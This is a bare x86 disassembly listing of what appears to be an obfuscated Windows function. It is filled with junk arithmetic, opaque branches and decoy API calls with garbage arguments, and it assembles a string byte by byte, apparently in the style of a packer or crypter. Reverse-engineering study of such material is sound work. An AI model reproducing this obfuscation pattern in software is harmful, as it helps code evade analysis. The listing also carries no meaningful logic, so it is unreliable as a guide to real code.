and dword [ebp - 0x58], 0x94d1
or edi, 0xddf8
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
add dword [ebp - 0x30], edx
cmp dword [ebp - 0x60], 0xf303
mov dword [ebp - 0x38], edi
jge 0x40dc0c
add eax, dword [ebp - 0x44]
or ebx, 0x17863
mov edi, dword [ebp - 0x18]
sub ebx, 0x11be1
or dword [ebp - 0x44], edi
xor esi, edi
mov edi, dword [ebp - 0x48]
add eax, 0x10c9f
or dword [ebp - 0x3c], 0x13c07
xor edi, dword [ebp - 0x44]
and edx, dword [ebp - 0x30]
and dword [ebp - 0x3c], esi
and ecx, dword [ebp - 0x24]
add dword [ebp - 0x58], 0x16825
inc edi
mov dword [ebp - 0x48], edi
mov edi, dword [ebp - 0x38]
mov dword [ebp - 4], edx
sub dword [ebp - 0x5c], 1
jne 0x40db90
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x4c], esi
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
add eax, 0x2eabe
push eax
lea edx, [edx - 0x4936]
lea ecx, [ecx + 0x37c71]
call fcn.00401170
mov ecx, dword [ebp - 4]
add esp, 4
mov dword [ebp - 8], eax
add eax, 0xffff0262
mov dword [ebp - 0x5c], eax
test eax, eax
mov eax, dword [ebp - 0x20]
jle 0x40dd1c
cmp dword [ebp - 0x44], 0x15829
mov esi, dword [ebp - 0x14]
je 0x40dcc7
mov edx, dword [ebp - 0x18]
nop dword [eax]
or dword [ebp - 0x50], 0xc530
and edx, 0xecfd
and dword [ebp - 0x24], 0xe4df
sub edi, dword [ebp - 0x58]
and eax, dword [ebp - 0x60]
mov ebx, dword [ebp - 0x10]
cmp ecx, 0x1423b
jge 0x40dcb9
xor ebx, dword [ebp - 0x30]
add esi, 0x2ed
add edx, dword [ebp - 0x24]
and edi, 0x11ef9
or esi, 0x6598
mov dword [ebp - 0x10], ebx
xor edi, 0x150a2
add ecx, eax
dec esi
sub dword [ebp - 0x5c], 1
jne 0x40dc70
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], ecx
jmp 0x40dd0d
mov ebx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x50]
nop dword [eax]
and dword [ebp - 0x24], 0xe4df
or edx, 0xc530
sub edi, dword [ebp - 0x58]
and dword [ebp - 0x18], 0xecfd
and eax, dword [ebp - 0x60]
cmp ecx, 0x1423b
jge 0x40dd01
xor ebx, dword [ebp - 0x30]
and edi, 0x11ef9
add esi, 0x2ed
sub dword [ebp - 0x5c], 1
jne 0x40dcd0
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x44]
mov dword [0x47da18], 0x637a746e
nop dword [eax]
sub dword [ebp - 0x1c], ebx
or ebx, 0xc835
xor dword [ebp - 0x1c], 0xf67a
mov dword [ebp - 0x2c], ebx
mov ebx, dword [ebp - 0x58]
and dword [ebp - 0x28], ebx
cmp ebx, 0xc73a
mov ebx, dword [ebp - 0x2c]
jle 0x40de3a
or eax, dword [ebp - 0x1c]
and edx, dword [ebp - 0x48]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x58]
and eax, 0x158d5
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x58], eax
cmp ecx, 0x17f86
jle 0x40de3d
add edi, dword [ebp - 0x30]
xor esi, dword [ebp - 0x24]
mov dword [ebp - 0x38], edi
cmp edx, 0x7422
je 0x40de06
add dword [ebp - 0x34], esi
add eax, 0xb15c
add edi, 0x171fd
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], edi
cmp eax, 0x90a1
jge 0x40de06
mov edi, dword [ebp - 0x28]
sub edi, dword [ebp - 0x54]
or dword [ebp - 0xc], 0x11f67
and edi, edx
and dword [ebp - 0x48], 0x8899
add edx, 0x4c9a
mov dword [ebp - 0x44], edx
mov edx, dword [ebp - 0x58]
xor eax, edx
mov dword [ebp - 0x28], edi
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
cmp esi, 0x105a5
jle 0x40de06
xor edx, dword [ebp - 0x28]
add eax, 0x7cc4
xor dword [ebp - 0x10], 0xb25e
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x54]
and eax, dword [ebp - 0x34]
sub ecx, 0xb48f
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], edx
mov dword [ebp - 4], ecx
push 0xd524
push 0xd72
push 0xac6e
push 0xcd5f
push 0x9be6
push 0x12bc4
push 0xd1e3
push 0xef95
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 4]
add esp, 0x20
mov eax, dword [ebp - 0x58]
inc dword [ebp - 0x18]
add eax, ecx
sub dword [ebp - 0x28], 0x19a93
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x34]
or eax, 0xc1ae
mov dword [ebp - 0x34], eax
cmp eax, 0xf098
jle 0x40df0a
or eax, dword [ebp - 8]
and ebx, 0x2f4a
mov dword [ebp - 0x2c], ebx
mov ebx, dword [ebp - 0x50]
xor ebx, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
or eax, edx
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
cmp eax, 0xc75c
jle 0x40df0a
push 0x107d8
push 0x12108
push 0xbd77
push 0x1474a
push 0x1778a
push 0xc5d5
push 0xe620
push 0x11da7
push 0xddf0
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
mov edx, dword [ebp - 0x44]
add esp, 0x24
sub dword [ebp - 0x50], 0x10e4b
sub edx, 0x796e
add dword [ebp - 0x34], 0x14625
and esi, 0xdc4f
cmp dword [ebp - 0x58], 0x15ce9
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x44], edx
je 0x40df0a
add edx, dword [ebp - 0x18]
xor edi, 0xbaec
sub dword [ebp - 0x1c], 0xa532
inc dword [ebp - 0x30]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x18], 0x11170
mov eax, dword [ebp - 0x20]
jl 0x40dd30
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x1c]
lea eax, [ecx - 0xe3d7]
push eax
lea eax, [ecx - 0xc4df]
mov ecx, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
add eax, 0x131dd
push eax
lea eax, [edx + 0x1cc98]
push eax
lea eax, [ecx + 0x1edcd]
push eax
lea eax, [ecx + 0xd9e0]
mov ecx, dword [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x50]
add eax, 0x29072
push eax
lea eax, [edx + 0x1ec6b]
add edx, 0x1eb55
push eax
lea ecx, [ecx + 0x29331]
call fcn.00401210
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x48]
add ecx, 0xfffd7e4a
push ecx
mov ecx, eax
mov dword [ebp - 0x20], eax
lea edx, [edx + 0xe320]
lea ecx, [ecx + 0x15c4d]
call fcn.00401170
mov edx, dword [ebp - 0x18]
lea ecx, [esi + 0x18591]
push ecx
mov ecx, dword [ebp - 0x30]
add ecx, 0x2ce19
mov dword [ebp - 0x5c], eax
push ecx
mov ecx, dword [ebp - 0x1c]
lea edx, [edx - 0x102a0]
add ecx, 0x1c9f3
push ecx
mov ecx, dword [ebp - 0x50]
add ecx, 0x29b62
push ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffca455
push ecx
mov ecx, dword [ebp - 8]
lea ecx, [ecx + 0x7456]
call fcn.00401150
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x50]
add ecx, 0x2ac1e
mov dword [ebp - 0x58], eax
push ecx
lea ecx, [edx + 0x74dc]
push ecx
mov ecx, dword [ebp - 4]
add ecx, 0x3376e
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffd1eb1
push ecx
lea ecx, [edx - 0x1041]
mov edx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x60]
lea edx, [edx - 0xeecf]
lea ecx, [ecx + 0x17217]
call fcn.00401150
mov dword [ebp - 0x60], eax
add esp, 0x4c
add eax, 0xfffef099
mov dword [ebp - 0x54], eax
test eax, eax
jle 0x40e132
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x54]
nop word [eax + eax]
add eax, 0x6fd
sub esi, 0x15aad
mov dword [ebp - 0x18], eax
cmp ecx, 0x17cc2
jne 0x40e126
mov edx, dword [ebp - 0x44]
and dword [ebp - 0x24], 0x333b
add edx, 0x3c55
add dword [ebp - 0xc], 0xff4
xor dword [ebp - 0x20], 0xb9a7
add dword [ebp - 0x5c], 0x3606
and dword [ebp - 0x3c], 0x16e89
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x34], 0x102d4
cmp ecx, 0x84ac
jle 0x40e120
mov ebx, dword [ebp - 0x50]
add esi, ebx
mov eax, dword [ebp - 0x14]
xor ebx, 0x80be
or dword [ebp - 0x20], 0xd4df
xor eax, 0x43c4
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
cmp edx, 0x5f41
jge 0x40e11d
mov edi, dword [ebp - 0x50]
and eax, 0x37b2
and edi, dword [ebp - 0x3c]
or edx, esi
mov dword [ebp - 0x50], edi
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], edx
cmp ecx, 0x1419b
je 0x40e11d
mov ecx, dword [ebp - 0x18]
and eax, 0x1008a
or dword [ebp - 4], ecx
xor edi, 0x1275f
mov ecx, dword [ebp - 0x48]
sub dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
or dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x34]
sub edx, 1
mov dword [ebp - 0x54], edx
jne 0x40e050
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x14]
add eax, 0x26f9c
push eax
mov edx, dword [ebp - 0x20]
lea eax, [ecx + 0x1a728]
push eax
lea eax, [esi - 0x20686]
mov dword [0x47d9d4], 0x6c706f47
push eax
lea eax, [edi + 0x3bc]
push eax
mov eax, dword [ebp - 0x24]
lea edx, [edx + 0x389]
add eax, 0xf12f
push eax
lea eax, [edi - 0x102a5]
push eax
lea eax, [ecx + 0x2399f]
mov ecx, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x3c]
add eax, 0x41119
push eax
lea ecx, [ecx + 0x2088b]
call fcn.00401160
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x24], eax
mov dword [0x47d9d0], 0x45715877
lea ecx, [ecx - 0x4f27]
call fcn.00401200
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
lea ecx, [ecx + 0x844a]
call fcn.00401200
mov ecx, dword [ebp - 8]
mov edx, eax
mov eax, dword [ebp - 0x40]
add ecx, 0xffff3d53
push ecx
mov ecx, dword [ebp - 0x5c]
add eax, 0xffffa535
add ecx, 0xffff5b1c
mov dword [ebp - 0x28], edx
push ecx
mov ecx, dword [ebp - 0x60]
add ecx, 0x5a0f
push ecx
mov ecx, dword [ebp - 4]
add ecx, 0x34156
push ecx
mov ecx, dword [ebp - 0x50]
add ecx, 0x2c994
push ecx
push eax
lea eax, [edx + 0x52da]
push eax
mov eax, dword [ebp - 0x34]
add eax, 0xffff851d
push eax
mov eax, dword [ebp - 0x48]
lea edx, [eax - 0x37cd]
lea ecx, [eax + 0x1188d]
call fcn.00401160
mov dword [ebp - 0x54], eax
add esp, 0x40
add eax, 0x7361
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x64], eax
test eax, eax
jle 0x40e38d
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x40]
nop dword [eax]
or edx, dword [ebp - 0x5c]
sub eax, ecx
xor dword [ebp - 0x50], 0x1046a
cmp dword [ebp - 0x14], 0x17c89
mov dword [ebp - 0x40], edx
mov dword [ebp - 4], eax
jne 0x40e375
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
or edx, dword [ebp - 0x58]
xor ecx, dword [ebp - 0xc]
and dword [ebp - 0x40], 0x692f
sub dword [ebp - 0x24], 0xd60d
cmp dword [ebp - 0x34], 0x12472
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x44], ecx
jle 0x40e36f
mov esi, dword [ebp - 0x24]
or esi, dword [ebp - 0x54]
xor dword [ebp - 0x20], 0x14a33
add dword [ebp - 0x40], 0x33df
cmp dword [ebp - 0x18], 0x14740
mov dword [ebp - 0x24], esi
jle 0x40e36f
mov esi, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x20]
add dword [ebp - 0x48], esi
and edx, dword [ebp - 0x5c]
xor ebx, dword [ebp - 0xc]
sub esi, dword [ebp - 0x1c]
sub dword [ebp - 0x18], 0x1228d
cmp dword [ebp - 0x1c], 0x152fd
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x40], esi
jne 0x40e36f
sub dword [ebp - 0x10], edx
xor eax, 0x1128e
mov edx, dword [ebp - 0x50]
add edi, edx
and edi, ecx
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x60]
add edx, ecx
add ecx, 0x171b1
mov dword [ebp - 0x60], ecx
mov ecx, dword [ebp - 0x24]
add ecx, 0x1379a
or edx, ecx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x50], edx
cmp ecx, 0x9fec
jge 0x40e36f
mov eax, dword [ebp - 0x4c]
xor dword [ebp - 0x60], 0x107a4
sub dword [ebp - 8], ecx
and dword [ebp - 0x58], eax
push 0x787e
push 0x8bd8
push 0x34c
push 0x3fb1
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov eax, dword [ebp - 0x60]
add esp, 0x10
sub dword [ebp - 0x18], eax
or dword [ebp - 0x3c], 0x16f1d
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], 0x2a50f
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x40]
inc dword [ebp - 0x4c]
mov esi, dword [ebp - 0x64]
cmp dword [ebp - 0x4c], esi
mov esi, dword [ebp - 0x14]
jl 0x40e250
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x3c]
cmp eax, 0xfffd7204
jge 0x40e5b3
mov edx, dword [ebp - 0x30]
mov ecx, 0xfffd7204
sub ecx, eax
mov dword [ebp - 0x3c], 0xfffd7204
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
nop dword [eax]
nop word [eax + eax]
mov ecx, dword [ebp - 0x44]
sub edx, 0xbe2a
xor ecx, 0xe930
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x1c]
sub eax, 0x7129
cmp dword [ebp - 0x20], 0x3509
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], eax
je 0x40e4a3
or dword [ebp - 0x60], ecx
add edx, 0x1a3c
cmp dword [ebp - 0xc], 0x138c0
mov dword [ebp - 0x1c], edx
je 0x40e4a3
mov edi, dword [ebp - 0x5c]
and dword [ebp - 0x28], edi
xor ebx, dword [ebp - 0x60]
add dword [ebp - 0x20], 0xbd3e
cmp dword [ebp - 0x50], 0xc8b
jge 0x40e4a3
or dword [ebp - 0x40], 0x15d65
sub edx, 0x11047
and dword [ebp - 0x24], 0x12a18
cmp dword [ebp - 0x20], 0xd05c
mov dword [ebp - 0x1c], edx
jge 0x40e4a3
or dword [ebp - 0x54], eax
xor ecx, edi
mov eax, dword [ebp - 4]
xor dword [ebp - 0x34], 0x8221
sub dword [ebp - 0x58], eax
add dword [ebp - 0x10], 0x19f0
mov dword [ebp - 0x44], ecx
cmp eax, 0x1313e
jle 0x40e4a6
push 0x50ee
push 0x101a5
push 0xe806
push 0x6a94
push 0xadaf
push 0x15e47
call dword [sym.imp.USER32.dll_DestroyMenu]
sub dword [ebp - 0x48], 0xdb25
add esp, 0x18
and dword [ebp - 0xc], ebx
mov eax, dword [ebp - 0x54]
add dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
or eax, dword [ebp - 0x54]
sub ebx, dword [ebp - 0x34]
sub dword [ebp - 0x5c], 0xb7c
sub dword [ebp - 0xc], 0x14351
cmp dword [ebp - 0x40], 0x13ae7
mov edi, dword [ebp - 0x38]
mov dword [ebp - 4], eax
jge 0x40e5a0
and dword [ebp - 0x48], edi
sub ecx, ebx
and dword [ebp - 0x58], 0xb251
add edx, 0x397b
xor ecx, 0x3288
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x30]
and esi, 0x723
mov dword [ebp - 0x44], ecx
cmp ecx, 0x10f58
jge 0x40e5a3
or ebx, dword [ebp - 0x20]
xor esi, 0x63f8
mov eax, dword [ebp - 0x5c]
and ebx, 0x1241c
add dword [ebp - 0x28], eax
or dword [ebp - 0x24], 0x16c15
mov eax, dword [ebp - 0x18]
cmp ecx, 0x6726
jge 0x40e5a6
mov ecx, dword [ebp - 0x58]
xor esi, 0x12e96
and eax, dword [ebp - 0xc]
or ecx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x58], ecx
cmp ecx, 0x648
jne 0x40e5a6
mov eax, dword [ebp - 0x50]
add dword [ebp - 0x48], eax
push 0x12fe2
push 0x17d14
push 0xb652
push 0x13e6b
push 0x12c8d
push 0xf1f8
push 0x1806d
push 0x14cf8
push 0x97e6
mov dword [ebp - 0x58], 0x408
call fcn.004010d0
mov eax, dword [ebp - 0x20]
sub edi, 0x14a49
and eax, dword [ebp - 4]
add esp, 0x24
and esi, 0x8017
mov dword [ebp - 0x38], edi
inc dword [ebp - 0x5c]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
sub dword [ebp - 0x4c], 1
jne 0x40e3c0
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 8]
lea edx, [esi - 0x21495]
mov ecx, dword [ebp - 0x10]
add eax, 0x1c89
push eax
mov eax, dword [ebp - 0x44]
sub dword [ebp - 0x24], ebx
add eax, 0xafff
push eax
lea eax, [ecx - 0x29541]
mov dword [ebp - 0x4c], 0
push eax
lea eax, [ecx - 0x28c34]
mov dword [ebp - 0x58], 0x1018d
push eax
lea eax, [ecx - 0x289cb]
mov ecx, dword [ebp - 0x34]
push eax
lea eax, [edi - 0x1150b]
push eax
mov eax, dword [ebp - 0x18]
lea ecx, [ecx - 0x1f8cb]
add eax, 0x355c
push eax
lea eax, [ebx + 0x1d91a]
push eax
call fcn.00401210
mov edx, dword [ebp - 0x1c]
or eax, 0xae2f
mov esi, dword [ebp - 4]
add edx, 0x81a7
mov dword [ebp - 0x14], eax
add esp, 0x20
mov eax, dword [ebp - 0x20]
and eax, 0x56d3
mov dword [ebp - 0x1c], edx
or eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
sub dword [ebp - 0x54], eax
cmp dword [ebp - 0xc], 0x27a4
jge 0x40e72f
mov eax, dword [ebp - 0x10]
sub dword [ebp - 0x48], eax
cmp esi, 0xa23e
jle 0x40e72f
mov ecx, dword [ebp - 0x44]
and dword [ebp - 0x30], 0xc581
sub ecx, 0x4dea
cmp dword [ebp - 0x40], 0x7ca7
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x44], ecx
jle 0x40e70a
xor esi, dword [ebp - 0x54]
add eax, 0x152d1
add dword [ebp - 0x20], 0x4498
xor edi, 0xaa4a
add dword [ebp - 0xc], 0xb7ce
add ebx, 0xf71
add dword [ebp - 8], 0x4e1e
cmp dword [ebp - 0x30], 0x81e9
mov dword [ebp - 0x4c], 0x72c3
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x2c], ebx
jbe 0x40e70a
mov eax, dword [ebp - 0x40]
or ecx, 0x8d9b
xor dword [ebp - 0x14], 0x114d3
and ebx, 0xe5ee
or edx, 0x15ae2
mov dword [ebp - 0x2c], ebx
and eax, 0x1018d
mov dword [ebp - 0x1c], edx
sub ecx, 0x16616
mov dword [ebp - 0x58], eax
sub dword [ebp - 0x3c], esi
mov dword [ebp - 0x4c], 0xc0
mov dword [ebp - 0x44], ecx
push 0xe988
push 0x339e
push 0x14ada
push 0x7fe2
push 0x2611
call dword [sym.imp.USER32.dll_UnregisterClassW]
mov edx, dword [ebp - 0x1c]
add esp, 0x14
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + 0x9107]
add ecx, 0xffff7c13
push eax
mov dword [ebp - 0x64], eax
lea eax, [edx + 0x23d71]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [esi + 0x144f3]
push eax
lea eax, [edi - 0x387]
push eax
lea eax, [edx + 0x13f14]
add edx, 0x15b68
push eax
mov eax, dword [ebp - 0x18]
add eax, 0xffff83e3
push eax
mov eax, dword [ebp - 0xc]
add eax, 0x21e30
push eax
mov eax, dword [ebp - 8]
add eax, 0x5edf
push eax
call fcn.00401210
mov dword [ebp - 0x5c], eax
add esp, 0x20
add eax, 0xffffdb46
mov dword [ebp - 0x60], eax
test eax, eax
jle 0x40e8da
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x24]
sub edx, ebx
and eax, 0x5c31
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x58], eax
cmp ecx, 0x125aa
jne 0x40e8cd
mov ecx, dword [ebp - 0x4c]
or ebx, 0x99d5
add dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
or eax, edx
or dword [ebp - 0x14], ebx
sub ebx, 0xb7dc
sub ecx, dword [ebp - 0x44]
xor dword [ebp - 0x48], 0x245
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], ecx
cmp eax, 0x4fad
jge 0x40e8c7
mov eax, dword [ebp - 0x3c]
xor edx, 0x1282
xor dword [ebp - 0xc], 0xd018
sub eax, 0x3425
cmp dword [ebp - 0x30], 0x639f
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x24], 0x8c66
je 0x40e8c7
mov esi, dword [ebp - 4]
xor edi, 0xfb12
or dword [ebp - 8], 0xea47
sub esi, ecx
and dword [ebp - 0x34], 0x17c44
cmp dword [ebp - 0x48], 0x18423
mov dword [ebp - 4], esi
mov dword [ebp - 0x38], edi
jle 0x40e8c7
add dword [ebp - 0xc], eax
add esi, 0xffffe202
and dword [ebp - 0x30], 0x108e4
or eax, 0xe05
push 0x10f8d
push 0x35c2
push 0x131de
push 0x6b1a
push 0x527d
push 0x10979
push 0x5b61
push 0xf31f
add esi, ebx
mov dword [ebp - 0x3c], eax
push 0x37a9
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov edx, dword [ebp - 0x40]
add esp, 0x24
mov eax, dword [ebp - 0x58]
and edx, 0xb41c
and dword [ebp - 0x28], 0x8c87
and ebx, dword [ebp - 0x54]
add eax, 0x6c7
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x58], eax
jmp 0x40e8ca
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x24]
sub dword [ebp - 0x60], 1
jne 0x40e7a6
mov dword [ebp - 0x2c], ebx
mov ecx, dword [ebp - 0x18]
push dword [ebp - 0x64]
mov edx, dword [ebp - 0x10]
lea eax, [ecx + 0x91dc]
push eax
lea eax, [ebx + 0x1b03a]
push eax
mov eax, dword [ebp - 0x58]
lea edx, [edx - 0x26d77]
add eax, 0x13caa
push eax
lea eax, [ecx + 0x97d0]
push eax
mov eax, dword [ebp - 0x54]
add eax, 0x22323
push eax
mov eax, dword [ebp - 0x5c]
add eax, 0xb7e5
push eax
lea eax, [ecx + 0xb53a]
mov ecx, dword [ebp - 0x5c]
push eax
lea ecx, [ecx - 0x1f87]
call fcn.00401210
mov ecx, dword [ebp - 0x4c]
add ecx, 0xf84c
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffe1ed4
push ecx
lea ecx, [edi - 0x62c]
push ecx
lea ecx, [eax + 0x3da64]
push ecx
mov ecx, dword [ebp - 0x48]
lea edx, [eax + 0x301a4]
add ecx, 0x37d20
push ecx
lea ecx, [ebx + 0x1ee91]
call fcn.00401150
mov edx, dword [ebp - 0x20]
lea ecx, [ebx + 0xb78e]
push ecx
mov ecx, dword [ebp - 0x4c]
add ecx, 0x58bb
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x50]
lea edx, [edx + 0x12c45]
push ecx
lea ecx, [ebx + 0x1e613]
mov byte [0x47da20], 0x6d
push ecx
mov ecx, dword [ebp - 0x48]
add eax, 0xf107
add ecx, 0x4acbc
push ecx
mov ecx, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x24]
add eax, 0xfffeb8f1
push eax
mov eax, dword [ebp - 0x28]
lea ecx, [ecx + 0xd15a]
add eax, 0x531a
push eax
mov eax, dword [ebp - 0x40]
add eax, 0xffff0881
push eax
call fcn.00401160
mov dword [ebp - 0x24], eax
add esp, 0x54
add eax, 0x7361
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], eax
test eax, eax
jle 0x40eb40
mov edi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x30]
imul ecx, eax, 0x8b95
add dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 8]
imul ecx, eax
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x50], ecx
mov ecx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x20]
sub ecx, 0x16786
xor esi, dword [ebp - 0x34]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], ecx
cmp edx, 0xd0c7
jle 0x40eb28
mov esi, dword [ebp - 0x34]
or edi, edx
or dword [ebp - 0x48], 0x11a97
add esi, 0x1214
and esi, dword [ebp - 0x28]
xor ecx, ebx
or dword [ebp - 0x4c], 0x16e09
add edx, edi
cmp dword [ebp - 0x14], 0xc94a
mov dword [ebp - 0x34], esi
mov esi, dword [ebp - 4]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], edx
je 0x40eb28
or ebx, dword [ebp - 0x48]
push 0x18587
push 0x161d4
push 0x12d69
push 0x12148
push 0xc28e
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, dword [ebp - 0x40]
add esp, 0x14
mov eax, dword [ebp - 8]
and ecx, 0x8300
or dword [ebp - 0x18], eax
or ecx, 0x8a0
mov eax, dword [ebp - 0x58]
add ecx, 0x2832
mov edx, dword [ebp - 0x30]
xor eax, 0x10620
add edx, dword [ebp - 0x54]
or eax, 0x40d6
or dword [ebp - 0x20], ebx
or edi, 0xb012
cmp dword [ebp - 0x5c], 0xd236
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x58], eax
jne 0x40f303
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x60]
sub dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor ecx, edi
sub eax, 0x104d9
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x14], 0x2ebe
mov dword [ebp - 0x10], eax
jle 0x40eb25
or ecx, dword [ebp - 0x58]
xor ebx, 0x14d35
xor esi, dword [ebp - 0x54]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 0x40]
inc dword [ebp - 0x60]
mov ebx, dword [ebp - 0x64]
cmp dword [ebp - 0x60], ebx
mov ebx, dword [ebp - 0x2c]
jl 0x40ea13
mov dword [ebp - 0x3c], edi
mov edi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
nop word [eax + eax]
add dword [ebp - 0xc], 0x945f
sub eax, 0xf1d4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x5c]
and eax, dword [ebp - 0x4c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
cmp eax, 0x14fe3
jge 0x40ec66
mov ecx, dword [ebp - 0x3c]
sub eax, 0xb7bf
mov edx, dword [ebp - 0x18]
sub esi, 0x5338
mov dword [ebp - 8], eax
xor ecx, 0xd089
mov eax, dword [ebp - 0x44]
add ebx, 0x5379
or eax, 0xa365
mov dword [ebp - 4], esi
cmp dword [ebp - 0x5c], 0x17838
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x44], eax
jle 0x40ec63
or eax, dword [ebp - 0xc]
sub edi, 0x12bf9
or dword [ebp - 0x24], 0x12b92
mov dword [ebp - 0x44], eax
